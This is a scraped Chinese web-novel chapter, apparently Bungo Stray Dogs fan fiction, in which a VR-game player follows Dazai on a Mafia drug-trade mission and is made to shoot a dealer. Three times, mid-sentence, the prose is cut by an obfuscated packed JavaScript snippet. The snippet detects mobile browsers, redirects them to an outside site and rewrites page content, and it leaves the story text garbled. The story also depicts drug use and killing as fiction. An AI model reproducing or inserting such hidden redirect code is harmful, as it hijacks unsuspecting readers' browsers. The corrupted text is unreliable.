他意味深长地笑了笑,率先从集装箱边缘轻盈地跳了下去,稳稳落在地面上。 花理盯着他的背影,咬了下唇。她最终深吸一口气,把这块甩不掉的烫手山芋塞回背包深处。跟着往下走……虽然她只能狼狈地扒着上来是的钢脊往下。 _ 花理一脸不爽地跟在太宰治身后,一夜没有打开在意的通讯器“滴滴滴”跳出来好多条消息,其中就包括今天的行动计划。 仍然是熟悉的情报部的发件人: 【情报部:绵津见花理小姐】 【任务通知(预阅)】 【时间:明早9:00】 【此次行动的指挥官:太宰治大人】 【附件:太宰治(工作号联系方式)】 【内容:前往镭钵街附近,探查近日有关「黑/市/药物/流通」(代号:黑水)情报的详细信息。若有可能,即可捉捕/击杀犯人。】 【附件:一个成年男性模糊的背影】 【任务目标优先级:A级】 【备注:情报较少,猜测其拥有一定程度自卫反击能力。请注意安全。】 后面还有一条与通知无关的、一看就是谁人出自本心发过来的「好心提醒」: 【p.s:情报部新人/绵津见花理】 【请注意你的安全……少听少说多做事,别惹太宰大人生气】 花理看着后面跟着的几条大写加粗的「一定注意啊!」「后果很严重」陷入了沉思。有些欲言又止地看着面前的太宰治。 “嗯?怎么了。”太宰治大概是察觉到了她难以言喻的目光,转过头来,似笑非笑地问她,“是任务有什么不清楚的吗?” “……没有。太宰大人。”花理怀抱着一点心虚,吞了口口水。 贫民窟的巷道像这座城市掩饰于光亮下的伤口,还是感染了的那种。下午的日光吝啬地漏下几缕,街道被歪斜的铁皮棚顶和堆积如山的垃圾吞噬了本该照耀到的阳光,只剩阴影。 空气里塞满了刺鼻的味道——腐烂食物馊掉的酸气、排泄物的骚臭、劣质煤烟呛人的焦糊味,还有一股若有若无、甜腻到发齁的化学药品气味。 像无形的粘液,糊在人的鼻腔里甩都甩不掉。花理忍不住清了清嗓子,咳了几声。 “这里……”花理跟在太宰治身后,接收到附近人似有若无的打量的目光,和发现他们是港口Mafia之后的无趣以及退缩,有些不适地皱了皱眉。 “一直都是这样吗?” “啊。一直都是。”前方的人倒是没什么特别的感觉,也没什么反应。 她跟在太宰治身后一步之遥,脚下因雨后形成的泥地湿滑粘腻,每走一步都发出令人牙酸的“噗嗤”声。让花理有些心疼自己的鞋子。 巷道两旁是歪歪扭扭、用各种废弃板材和破布搭成的窝棚,缝隙里塞着各种塑料填补。偶尔有衣衫褴褛的人影蜷缩在角落里,眼神空洞麻木,像被抽掉了魂的娃娃。 花理走快一些,紧跟在太宰治身后。 21. 镭钵街的幽灵 「您已解锁重要场景【镭钵街】!」 「描述:这里是被抛弃的世界,隐匿于阴影与失败之下。这里也曾诞生神明,作为其唯一诞生的奇迹。」 「关联词条:中原中也、羊、荒霸吐。」 ……羊?什么羊?这里看起来也不像是能有牧场的样子啊…… 这个地名有些熟悉,大概是在其他文本中也出现过。但在脑子里想了一圈,唯一有确切记忆的只有关联词条中「中原中也」一个了。 花理一边思考着,一边打量起周围的环境。几个面黄肌瘦的小孩在垃圾堆里翻找食物,看到他们经过,立刻像受惊的老鼠般窜进更深的阴影里,只留下一串仓惶的脚步声。 “你看起来很不习惯呢,花理。”太宰治双手插着口袋,没什么情绪,像是试探一样,“镭钵街的大名……明明横滨人都应该对这幅光景习以为常了吧。” “……普通人真的会靠近这种地方吗?” 太宰治哼笑一声,向前走的步伐一步也没有停留:“说的也是。” “阳光照不到的地方,腐烂是常态。镭钵街是如此,Mafia……也是如此。花理酱要习惯哦。” “……”花理心情复杂,语言在脑子里不断重组,最后只跳出来一句,“谢谢。我不了。” “线报说的嫌疑人还在更深处,一个临时改造的旧机修棚里。”太宰治的声音在前方响起,他没回头,步履悠闲得像在逛公园,黑色风衣的下摆扫过污秽的地面。 花理没应声,目光警惕地扫过那些黑洞洞的窗口和破烂门廊。手覆上腰侧,那是第一次出任务时领取的配.枪。不过身为文员的身体大概并没有相关的肌肉记忆,她本人就更不用说了。所以一直只是一个装饰的作用。 但看到此情此景,她有些紧张的咽了咽口水。还是不自觉的抚摸物理世界唯一的真理。 “啊。你带上了啊。”太宰治的目光随意地扫过她,挑了挑眉,“花理原来会用吗?明明昨天你遇到危险时完全忽略了武器的存在……” “只像个误入的jk一样可怜地逃命呢~?” “……”她死鱼眼和太宰治对视片刻,被对方嘲笑的怒火燃烧片刻,又因为这是事实马上息鼓偃旗。老实地摇了摇头。 “所谓「黑水」……”她马上岔开话题,斟酌着向上司求证,“就是成瘾性药物吧?” “哦?花理怎么会这么想。” “因为感觉这才是身为Mafia还会去管的理由……难道说其实不是?”《○飙》里的黑老大唯一不敢沾的也是这个吧?但看太宰治这个反应……花理脑洞大开,摸着下巴思考,“那是什么异能力增强剂什么的?” 毕竟这个世界观,异能也是很重要的一部分嘛。她想,一脸求知若渴地看向太宰治。 “不是哦。”太宰治嗤笑一声,“就是你一开始想的那种。完全没错~” “……”她无语地看着他,嘴角微抽。 太宰治的脚步在离她不远处突然停下,转了个方向,看向角落的某一处。 劣质的灯管在那家的棚户门口闪烁了几下,投下惨白的光晕,照亮一张干瘪枯槁、布满皱纹的脸。花理跟随着太宰治的视线看过去,只见一张陌生的脸……和熟悉的衣物。 那是双浑浊的眼睛,没有任何情绪,只有死寂。花理心里一紧,下意识地移开视线,却瞥见墙角泥地里半埋着一个空的一次性注射器,针头锈迹斑斑。 靠坐在街头的男人穿着早已看不出原色的破烂军裤,上身只套了一件脏污的背心,裸露在外的皮肤是一种长期不见阳光的病态惨白,上面布满了青黑色的血管纹路和可疑的溃烂结痂。 他异常高大,但瘦得脱了形,嶙峋的骨架撑着衣服,像一副蒙着皮的骷髅。枯草般的乱发纠结成一团,遮住了大半张脸。 “……” 花理的视线重新扫过那人。已经对方脱下、摊在地上做垫子的……她很是熟悉,昨天才刚见过的—— mimic的军服。 「检测到支线任务相关组织【mimic】人员。」 「状态评估:中毒、器官衰竭、将死。」 系统的播报也适时验证了她的猜测。 “那是……”她迟疑着皱了皱眉。 “嗯,没错哦。”前方是太宰治悠闲的声音,“看来流浪狗里有受不了苦痛的堕落之人啊。” 太宰治走上前,脚尖轻轻点上那人的胸膛。拉长声音,似乎是叫人起床般,声音淡淡,听不出情绪: “起床了哟——这位mimic的先生。” 男人还是低垂着头,身体以一种不自然的僵硬姿势蜷缩着,裸露的右臂上,清晰可见数个发黑发炎的针孔。他仿佛沉浸在自己的世界里,对靠近的脚步声毫无反应,只有粗重的呼吸声在死寂的巷道里格外清晰。 花理的心跳漏了一拍。 这人的样子……绝对是吸了吧!这个就是他们这次找的、「黑市流通药物」的…… ……受害人? 花理有些出神地想着,港口Mafia竟然会插手这种事、mimic竟然有人受了害……果然毒是所有里世界都会忌惮的东西吗? “啊呀,还是叫不起来呢。”前方的太宰治像是有些苦恼,咕哝着又踹了几脚,花理有些不忍直视——主要是觉得画面诡异,移开了头。 “……别踹死了。太宰大人。”她最终还是这样委婉地提示。 “知道了知道了……我有分寸的。” 太宰治双手插在风衣口袋里,收回了腿。微微歪着头,饶有兴致地打量着角落里那个沉浸在自己痛苦中的男人,眼神平静得像在看一件无关紧要的展品。 太宰治语气带着点发现新奇玩具般的愉悦:“看看我们遇到了谁?一只……迷途的羔羊?还是说,被祖国切除的……一小截坏死的盲肠?” 花理:“……”她伸手捂脸。但还是忍不住从指尖漏出的缝隙偷偷去看那人的反应。 角落里男人的身体几不可查地颤抖了一下。那颗低垂的头颅极其缓慢地抬起。枯草般的乱发下,露出一双眼睛。浑浊的眼白布满骇人的血丝,瞳孔被劣质药物和绝望侵蚀得涣散、狂乱,几乎找不到焦点。 “啊……是你们。……港口Mafia……”男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040796|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从喉咙深处挤出嘶哑破碎的音节,看到了太宰治踩在身上的脚也没有什么反应。倒是比他们想象中平静许多,没什么要攻击的感觉。反而是一种轻松的嘲弄。 只是已经破损的嗓子,每一个字都像用砂纸在生锈的铁皮上摩擦,听起来不太悦耳……花理皱了皱眉。 “嗬……你们还真是阴魂不散……”他大口喘着气,笑了一下,“找纪德大人……的麻烦还不够,连我这种小人物也要赶尽杀绝……” 他像是有些自嘲。花理微微睁大眼睛,有些惊讶地看向这个人。 太宰治脸上的笑容加深了些,那笑意却未达眼底。“赶尽杀绝?对你?” 他慢悠悠地重复,向前踱了一小步,居高临下地看着对方:“哈……还真是自我中心过剩的家伙。” 花理:“……”她仍然一声不吭,心里想的却是哥们你收敛点吧我真怕他跟你爆了。 “我们只是来处理一些……与你无关的事。倒是你……”太宰治的目光意有所指地扫过男人手臂上的针孔和紧握的药瓶,“看起来,被‘抛弃’的滋味不太好受?连昔日的荣光,都要靠这种垃圾来回忆了吗,mimic的士兵先生?” “哈哈……”男人哼笑一声,逐渐变为癫狂的大笑,身体因剧烈的情绪波动而剧烈颤抖,“Mafia的白色死神……像你这样年纪轻轻就坐上高位的家伙……一定不会理解……” “……身为平庸者、被驱逐者,寻找不到活着的意义的感觉……” 他的声音平静又绝望:“只有……只有它能让我……暂时忘记……” 他的目光扫过花理,那狂乱的眼神在她脸上停留了一瞬,带着一丝审视,随即又猛地移开,死死盯回太宰治。 “你们……不会懂。”他右手猛地举起那个空药瓶,像是要砸过来,却又因脱力而颓然垂下,“……就离开。” “我已走上末路……对你们……毫无威胁。” “……”花理,她顿了顿,走上前几步,扯了扯太宰治的衣角,“这个人确实已经……要不我们还是先去工作……?” 花理绝望脸,上来就「意义」啊「不理解」啊,她只觉得这两人怎么好像互相在雷点蹦迪。 太宰治脸上的笑容淡去,只留下冰冷的审视。倒是轻轻颔首,应了花理的请求。 他不再看那歇斯底里的男人,对方对他而言大概已经失去了对话的价值。他侧过头,对花理随意地抬了抬下巴:“走吧,花理。” “……跟这些沉溺在虚假慰藉里的可怜虫纠缠,纯粹是浪费时间。” 他轻轻哼笑,语气轻描淡写,仿佛刚才的遭遇只是一段微不足道的插曲。 花理的心沉了沉。她最后看了一眼角落里那个被绝望和药物彻底摧毁的男人。他已经再次低下头,整个人显得空洞得可怕。她抿紧唇,快步跟上太宰治。 在他们转身走出几步后,身后传来一声沉闷的、仿佛什么东西重重磕在地上上的闷响,接着是身体滑倒在地的摩擦声,再无声息。 花理的脚步顿了一瞬,没有回头。而太宰治,嘴角似乎勾起一抹极淡的、难以捉摸的弧度。 22. 开枪。 空气中那股甜腻的化学气味似乎更浓了些,混杂着劣质烟草的辛辣。而情报中的那个药贩子,就藏在这片令人窒息的腐臭之中。 线报指向的方向在这片令人窒息的巷道深处。拐进一条更窄、更暗的岔道。垃圾堆得更高,几乎堵住了半边路。循着那股越发浓烈的刺激化学品气味和线报指引,花理终于找到了目标点——一个藏在废弃的屋棚的夹缝深处、临时用破木板搭建起来的简陋棚子。 门口挂着一块歪歪扭扭写着“修理”的破木牌,像个拙劣的伪装。被经过时一个手贱戳了一下的花理一下子弄掉了。 “啪嗒。” 木牌掉在地上,溅起一点泥水。 “……”花理慢慢地,顶着太宰治回头望来的、带着点揶揄意味的目光说道,“……我不是故意的。” 棚子里光线昏暗,弥漫着浓烈的焊锡、机油和那股令人作呕的化学气味混合的怪味。一个身材矮小精瘦的男人正背对着门口,蹲在一个打开的、装着深蓝色粘稠液体的塑料桶旁,用一根脏兮兮的玻璃棒小心翼翼地搅拌着。 他穿着一件油渍麻花的工装背心,露出的胳膊上纹着意义不明的劣质刺青。听到脚步声,他猛地回头。 「检测到日常任务目标人物及重要道具【黑水】」 花理一眼就被丑痛了眼睛,默默地、一声不吭地转过头。她很少会有支持NPC全是一个脸模的时候——独立建模丑成这样时另当别论。 天呐……超矮的男人在搅拌毫无食欲的蓝色糊状物!……说他像蓝精灵会不会辱蓝精灵了? “呀,你好呀。这里有人吗?” 这是太宰治清爽的、语气活泼的问话。 “哈?谁!没看到我——我!哎哟我……!”这是嫌疑人嚣张并戛然而止的回答。 那张脸——尖嘴猴腮,颧骨高耸,丑的花理在忍不住笑和反胃中横跳。转过来的一瞬间更是给她来了个视觉冲击。很确信自己确实是颜控的花理真的有点想拔/枪了。 那个药贩子大丑男看到太宰治和花理,尤其是他们身上那不容错辨的港口Mafia标志时,还没出口的脏话和嚣张的气焰就这样瞬间消失不见。 他脸上血色“唰”地褪尽,手里的玻璃棒“哐当”一声掉进桶里。马上从踮脚的凳子上跳下来。花理终于想起Mafia的威风和做派,顺势解下/枪/指着面前的人,也笑眯眯地打招呼:“你好呀。” “哎、哎哟!两、两位Mafia大人!”药贩子——猴子脸男人瞬间堆起谄媚到近乎扭曲的笑容,举起手,点头哈腰,“不知有何贵干?我这里……就是修、修点破烂……哈哈哈哈哈……” “……”花理忍不住吐槽,“他这么心虚、这么明显知道会被港口Mafia找麻烦,怎么还改大张旗鼓地露天在这搅啊搅的。” 还有他的语气,怎么能这么炮灰、这么邪恶NPC……花理彻底绷不住了。 太宰治“噗呲”笑了一声:“花理……” 他拖长了调子,带着点无奈又觉得有趣的感慨:“你还真是……爱讲一些不合时宜的笑话啊。” 比起吐槽交流的两人,男人这边就紧张多了。活像只受惊的耗子。想伸手靠近太宰治,也不知是要扶还是要偷袭:“那个、您……” 太宰治没说话,微微侧身从他旁边闪过。只是慢条斯理地踱进棚子,饶有兴致地打量着四周堆放的杂物。 焊枪、扳手、不明的粉末。还有角落里几个同样装着深蓝色液体的塑料桶和散落的空药瓶。他的目光最终落在那桶被搅动的不明液体上。 花理也跟了进来,她同样打落猴子丑男伸过来的手。那股甜腻的气味让她胃里一阵翻涌。她警惕地扫视着环境,目光掠过药贩子那张写满心虚和恐惧的脸,最后定格在角落里一个分装的小瓶上。和刚刚mimic的逃兵手上的一模一样。 “修破烂的先生啊……”太宰治终于开口,声音带着一丝慵懒的戏谑,他踢了踢脚边一个空桶,他指了指那桶“黑水”。 “这个就是你修的破烂吗?诶……修补的难道是人类?”他笑眯眯地问道。 猴子脸男人额头瞬间冒出豆大的冷汗,干笑两声:“嘿、嘿嘿……Mafia大人说笑了……” 花理此时恶霸人格堂堂上身,恶狠狠地盯着他:“哈?” “……!”卖药人眼珠乱转,嘴里飞快地辩解,“这、这镭钵街……本来就穷……” “嗯嗯。”太宰治没什么感情地捧场般应了两声。 “所以……?所以……”他说的情真意切,还伸手抹了抹脸,一副心痛不已、一把鼻涕一把泪的样子。 “这在这里……就是正常的、合理存在的。只是让人暂时……离开现实的痛苦而已!”对方越说越自信,颇有些义正言辞理所当然的样子。 花理:“……”我真的很少见这么没有逼格这么低档的npc啊。 他瞥见花理紧蹙的眉头和冰冷的目光,声音不自觉地低了下去,带着点自怜自艾的嘟囔:“港口Mafia……真是……” “什么?”花理大受震撼地看着这个当着正主的面敢口出狂言的小喽啰。 “没什么没什么……!您听错啦,Mafia小姐。” “哦?”太宰治拖长了尾音,脸上露出一种仿佛在听有趣故事的表情。 “所以。”他慢慢地问,走向男人,微微俯身,像是确实只是在好奇,虚心求教的样子,“你觉得——自己在做好事?” “不敢不敢!”药贩子连连摆手,眼睛里却闪过一丝精光,“就是……一些小小的、对横滨没什么影响的小生意。两位大人高抬贵手!您看这样行不行……” 他搓着手,脸上的谄媚几乎要溢出来,低眉垂眼:“这生意的利润……其实挺可观的!只要大人肯抬抬手,给条活路,我保证上纳金不会少!” 他比划了一下,一个你三我七的姿势:“大家……大家合作共赢嘛!” 太宰治像是听到了什么极其有趣的笑话,低低地笑了起来。他转头看向花理,鸢色的眼眸在昏暗的光线下闪烁着莫测的光芒:“花理酱,听到了吗?合作共赢呢。你觉得这个提议怎么样?” 他的语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040797|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻松随意,仿佛在讨论午餐吃什么。 “……”花理想了想,对现状的荒谬有些无力吐槽,“他只是觉得Mafia本来就是黑方,没什么立场会管这种事吧。” “您不觉得这样显得港口Mafia很没有逼格吗?”她带着质疑和无语,一副吃到不该吃的东西的表情,看向太宰治,“……为什么一个N……我是说、一个路人甲也敢和港口Mafia谈生意啊……” “哇……没想到花理意外的很有集体荣誉感?”太宰治捧场地鼓掌。 “……并没有那种东西。而且在Mafia身上那种东西应该叫做类似黑方的逼格一类的东西……我只是觉得自己要是答应了会显得很路边。”花理诚实道。 “嗯……这样啊。好哦。”太宰治漫不经心地点点头,放下摩挲下巴的手,“就听花理的吧。” “……诶?” “毕竟任务本来也说了「捉捕」或者「击杀」嘛。花理不喜欢的话就选后者好了~”太宰治理所当然、完全不在意要被「击杀」的目标还在一旁,旁若无人地说,“诶?莫不是花理觉得我还有同意的可能?” “……”花理沉默了片刻。 “我猜到您只是在捉弄……或者说戏耍这个人。” “嗯嗯,就是那样。”太宰治漫不经心地点点头以示同意,向前走了一步,离那个因为紧张而浑身发抖的药贩子更近了些,目光却依旧落在花理身上,嘴角噙着一抹似笑非笑的弧度。 那双鸢色的眼睛却像精准的探针,锁定了花理脸上每一丝细微的表情变化。他放下摩挲下巴的手,语气忽然变得轻柔而富有诱导性: “那……既然花理已经拿着枪了。”他刻意放缓了语速,每个音节都清晰明朗,“那就开枪吧。” “……?”花理第一反应还觉得自己听错了,有些不可置信地看向太宰治,“我……?” 她、她吗?她一个真jk假Mafia要怎么开/枪……就算FPS游戏她能玩……和VR里真正开/枪、还是不一样的吧? “嗯。你哦。”又是那种轻飘飘的、漫不经心的,就这样点出她让她无法逃避的态度。“红叶姐教了你审讯。而身为前辈…… “我也来教你一些……在这个世界生存所必需的技能好了。” “……是指枪术?”花理手指蜷了蜷,刚想放下枪拒绝,“我不会……” “不是哦。是指杀掉敌对之人的勇气呢。你看——人类就连杀掉自己判断为「恶」的那一方,也总是在犹豫。” “……” “花理。你就在犹豫呢。”太宰治笑眯眯的,但总让她觉得此人身上混杂着一种莫名而来的愉悦和奇怪的低气压。 “手在抖哦?花理觉得这个人是可以被原谅的?” “……不是这样。” “那是怎么了?明明刚刚还有闲心和我说些奇怪笑话的——”太宰治语气轻松,“再不开枪,这个人要逃跑了哦?” “啊。还有。他身上是有枪的哦?不开枪的话——” “死掉的。可能会是你或者我哦?” 23. 必修课 “……”花理沉默期间,太宰治也只是在耐心地等着。直到男人有了动作,缓慢地、想趁着他们不注意掏出怀里的枪—— “等等!Mafia大人——不要——” “砰、砰。” 随着惨叫声和两声枪响,回过神来的花理看到的就是收回了枪的太宰治。对方百无聊赖地拿着手里的枪,也正回过头来笑眯眯地看她。 “确实像花理想的那样是个蠢货呢。”他评价道,晃了晃手中的枪,没什么表情。 “一开始因为港口Mafia不敢先发制敌,发现威胁的时候又自以为是的垂死挣扎……” “我把他的大腿和手腕都打穿了哦。”太宰治轻飘飘地说着可怕的话,“这样就不会逃跑了。花理想犹豫多久都可以~” 花理睁大眼,一阵反胃涌上来。她看向男人,卖药人正在地上惨叫着爬行蠕动,地上是滴滴答答落下的血液。花理清楚的看到他沾满泥土、显得恶心的伤口。忍不住想干呕。 太、太真实了…… 她闭了闭眼,想尽力压下这种不适感。VR呈现的画面太真实了……简直就像是现实一般。可怖的枪伤给了她极大的冲击感。 “这幅表情啊。”太宰治饶有兴趣地观察着她,说,“其实如果花理一开始就开/枪的话,就不会这么恶心、他也不会这么痛苦哦?” “嘛……不过这种人,疼痛一些也是应该的吧?我可不想看他轻松地就能拥抱死亡~” 他的目光转向那个因为恐惧和疼痛而开始泪流满面、牙齿打颤的药贩子,眼神里没有一丝温度,只有纯粹的、冰冷的评估,仿佛在看一件即将被处理的垃圾。 “开枪吧?花理。” 他的声音很轻,却带着不容置疑的命令感和一种残酷的期待。 “让我看看……你是否属于这里。” 棚子里的空气瞬间凝固了,沉重得让人喘不过气。药贩子脸上的血色彻底消失,变成一片死灰。他惊恐地瞪大眼睛,喉咙里发出“嗬嗬”的抽气声,身体剧烈地颤抖起来,下意识地想往后退,却撞上了冰冷的工具箱,发出“哐当”一声。 “太宰……大人。” 冰冷的金属枪柄硌着花理的掌心,沉重得不可思议。她看着药贩子那张因极度恐惧而扭曲变形的丑脸,那双眼睛里溢满了最原始的求生欲和绝望。 这表情太真实了,真实到让她胃部一阵翻搅。花理清晰地感觉到身体的颤抖和手指的沉重。 “我……” 这种人、这种人……用毒腐蚀他人灵魂、把痛苦暂时麻痹成“生路”的人渣…… 她明明知道。 但为什么、为什么还是…… 扣不动板机。 「检测到玩家持枪状态……」 「警告:若您拒绝开枪,角色【太宰治】下一步反应及好感度将不可预测,可能导致后续任务链变更。」 “……” 花理看着卖药人那张因极度恐惧而扭曲变形、涕泪横流的丑脸。真实得能闻到血腥味,真实得能看到对方眼中最原始的求生欲……真实到让她没办法下手。 药贩子似乎察觉到了什么,喉咙里发出濒死的哀鸣:“不要……不要杀我……求求你!求求你!” 太宰治轻柔的催促像毒蛇的嘶鸣,在死寂中格外清晰。他好整以暇地看着花理挣扎的表情,仿佛在欣赏一出精心编排的戏剧: “花理。” 轻轻的、似乎是喟叹的呼唤。 就像审讯室那时,他或许打定主意要教她学会属于Mafia的一切。太宰治再次走到她身后,手掌轻轻地、不容拒绝地覆上她握/枪的手。 “你很害怕呢。所以我说,花理你不适合当Mafia啊。” 花理努力地摇摇头,嗓间溢出的只有无意义的呜咽。 但与上次不同,这次身后那人选择了覆上她的眼睛。 “算了……花理要是想闭眼的话也可以唷。” 砰。 枪声在狭窄的棚子里炸响。 世界仿佛安静了一瞬。 花理被身后的人托起手臂,举着/枪,枪/口还残留着淡淡的硝烟。巨大的后坐力让她手臂剧震,身体不由自主地晃了一下。 花理喘息着,缓缓睁开眼。棚内弥漫着浓烈的硝烟味和铁锈般的血液的味道。她僵硬地放下手,颤抖着看向目标。 猴子脸男人的动作定格在死亡那一瞬,眉心绽开一点刺目的红。他脸上的狰狞和恐惧还没来得及完全展开,整个人就像一截被砍断的木桩,直挺挺地向后倒去,重重砸在满是油污的地面上,发出一声闷响。 药贩子那双充满恐惧和哀求的小眼睛,此刻彻底失去了光彩。额头上,一个刺目的血洞正汩汩涌出暗红色的液体,混合着他之前手腕和腿部的伤口流下的血,在他身下迅速晕开,染红了肮脏的地面。 他大张着嘴,似乎还想说什么,但生命的光泽已经从眼中褪去,只剩下死寂的空洞。 “……”花理有些头疼,大脑的空白渐渐褪去后,她垂下眼睑。语气倒是平静,只是在陈述事实般: “我杀/人了。” “嗯。做得很好。” 这是太宰治的声音。 胃部剧烈地痉挛起来,一股强烈的酸意直冲喉咙口,她猛地捂住嘴。 「日常任务/任务目标[卖药人]清除确认。」 「获得经验值。目前等级lv7。距离下一等级还有(230/700)」 「角色【太宰治】:好感度+?」 「描述:他对你开枪瞬间那混合着厌恶、愤怒与恐惧的表情感到一丝趣味。」 「隐藏支线任务【修补人类破碎的心】已完成!」 「您的【枪/术】获得了精进!」 「描述:你犯下了一场罪行,从此便罪无可恕;你打破一场梦境,带来难以安眠的良宵。」 「任务奖励:「美梦」的解药×1」 「描述:它会带你离开任何幻境,无论其美好或是残破。就像你唤醒被「黑水」带入梦境的人,总要回到真实。」 「玩家状态更新:中度精神污染……生理不适感(恶心、眩晕)急剧上升……强烈建议脱离当前环境!」 太宰治环视了一圈棚内的污秽,目光扫过被打翻流淌的“黑水”和血泊,眉头几不可查地皱了一下,随即又舒展开。 “任务结束了呢。”他宣布道,语气平淡无波,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040798|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了……花理,我们走吧。剩下的交给后勤班处理。” 他转身,目光落在还僵在原地的花理身上。少女的脸色在昏暗的光线下苍白得像纸,握枪的手指因为用力过度而指节发白,目光失焦地盯着地上的尸体,嘴唇抿成一条苍白的直线。 太宰治的目光在她脸上停留了片刻,那深不见底的鸢色瞳孔里似乎掠过一丝极淡的、难以言喻的复杂情绪。随即,他又恢复了那副漫不经心的模样。 “花理。”他声音放得轻缓了些,重新耐心的、像对未能理解意思的孩童那般重复道,“任务结束了。剩下的会有后勤的人来收拾。” 他率先走出棚子,没有催促。花理在原地又站了几秒,仿佛才从那剧烈的冲击和系统的提示音中找回一丝力气。她深吸了一口气,压下喉咙口翻涌的恶心感,有些踉跄地跟了出去,颤抖了片刻,还是将手中那柄仿佛变得千斤重的枪收起。 像是反应弧绕了一圈之后,终于再次连上。她有些木然、又有些疲惫地回答太宰刚刚的话: “……我确实,一点都不适合当Mafia。” “嗯。”太宰治难得没有说什么,只是轻轻地应答。 回程的路上,两人一前一后沉默地走着。贫民窟的喧嚣和恶臭似乎被隔绝在了另一个世界。花理的脑子里乱糟糟的,药贩子临死前那张绝望的脸和额头的血洞反复闪现,与太宰治的声音交织在一起。她嗓子有点干涩: “太宰大人。” “嗯?” “……没什么。”只是游戏而已,她完全可以消化。大不了一会儿就下线…… 太宰治双手插在风衣口袋里,步履依旧悠闲,仿佛刚才的一切从未发生。他甚至有闲心哼起了不成调的曲子。 就在他们快要走出镭钵街边缘,城市的喧嚣重新变得清晰时,太宰治的脚步忽然顿了一下。他微微侧头,目光似乎不经意地扫过刚才来时经过的那个角落。 花理顺着他的视线下意识地望过去。 那个角落空空如也。 之前那个靠着墙、沉浸在药物和痛苦中的高大身影不见了。只有冰冷肮脏的地面上,留下了一小片不自然的、略显干净的痕迹,仿佛有人曾长时间坐在那里。 花理的心头掠过一丝疑惑,但此刻沉重的疲惫和恶心感让她无暇多想。 太宰治却像发现了什么有趣的东西,嘴角勾起一抹意味不明的弧度,朝那个角落走了过去。 花理迟疑了一下,还是跟了过去。 绕过那个转角,眼前的景象让花理瞬间屏住了呼吸。 在来时交谈过的、「黑水」的受害人,那个mimic士兵,此刻就背靠着冰冷的墙坐着,姿势和之前几乎一模一样。但他那条裸露的右臂上,原本遍布针孔的地方,此刻正插着一支空的注射器。 他的身体已经冰冷僵硬,没有了丝毫生气。浑浊的眼睛圆睁着,透过凌乱发丝的缝隙,凝固着一种难以言喻的、混杂着解脱与无尽空虚的空洞。嘴角似乎还残留着一丝……诡异的、仿佛终于得到安宁的放松弧度。 “……”花理沉默片刻。 「系统……」 「嗯。玩家。」系统顿了顿。 「他已经死了。」 24. 难受到下班 花理的血液仿佛瞬间凝固了。她猛地后退一步,胃里那勉强压下的恶心感再次汹涌翻腾,比刚才更加强烈。 她捂着嘴,干呕了两声,眼前阵阵发黑。 棚子里药贩子的死,是她亲手……或者说、太宰治要求和带领下的亲手,扣动的扳机,带着被迫的决绝和即刻的巨大的冲击。 而眼前这个mimic士兵的死,却像一盆更冰冷的污水,缓慢而无声息地浇透了她全身—— 一天经历两次看着人由生到死、虽然是NPC、虽然毫无感情、虽然那个家伙死的应该…… 但是。 但是。 太宰治站在尸体前,居高临下地看着,脸上的表情平静得可怕。他微微弯下腰,轻轻拂开了死者额前遮挡视线的乱发,露出那双凝固着空洞的眼睛。 “啊……”他发出一声极轻的叹息,听不出是怜悯还是嘲讽,“看来还是得到了最后的解脱。” 他的指尖在死者冰冷的眼睛上停留片刻,将其死不瞑目的眼皮盖上,随即收回手, 他直起身,目光扫过花理惨白如纸的脸和剧烈起伏的胸口,鸢色的眼眸深处掠过了然和一丝极淡的厌倦。 “花理。”他的声音很轻,却清晰地传入花理耳中,“你看到了。这就是不完整的人类的终局。” 他不再看地上的尸体,转身朝着镭钵街外的方向走去,步伐比之前快了一些。 “好了。” 走出那条巷子,城市的喧嚣和相对干净的空气重新包裹上来。太宰治在路边停下脚步,侧过身,看着低着头、一言不发跟在后面的花理。 城市的灯光在他身后勾勒出身影的轮廓。他侧过身,那双鸢色的眼睛显得更加深不见底。他看着依旧失魂落魄,有些茫然的花理: “……” 阳光给她苍白的侧脸镀上了一层暖金色的光晕,却驱不散她眉眼间那浓重的阴影和疲惫。花理的手指无意识地攥紧了口袋里的某样东西——太宰治几乎能想象出那块冰冷军牌的轮廓。 啊。拿出来了呢。他还有闲心去想——那这孩子很快就会好好「看看」那上面的信息了吧? “今天就到这里吧。” 他像是在打发一件处理起来有点麻烦但暂时不想深究的物件,语气平淡,却又带着一丝不易察觉的、仿佛是施舍般的……仁慈? “你可以下班了。” 太宰治不再看花理的反应,转身走向另一个方向,黑色的风衣很快融入街角的人流中。 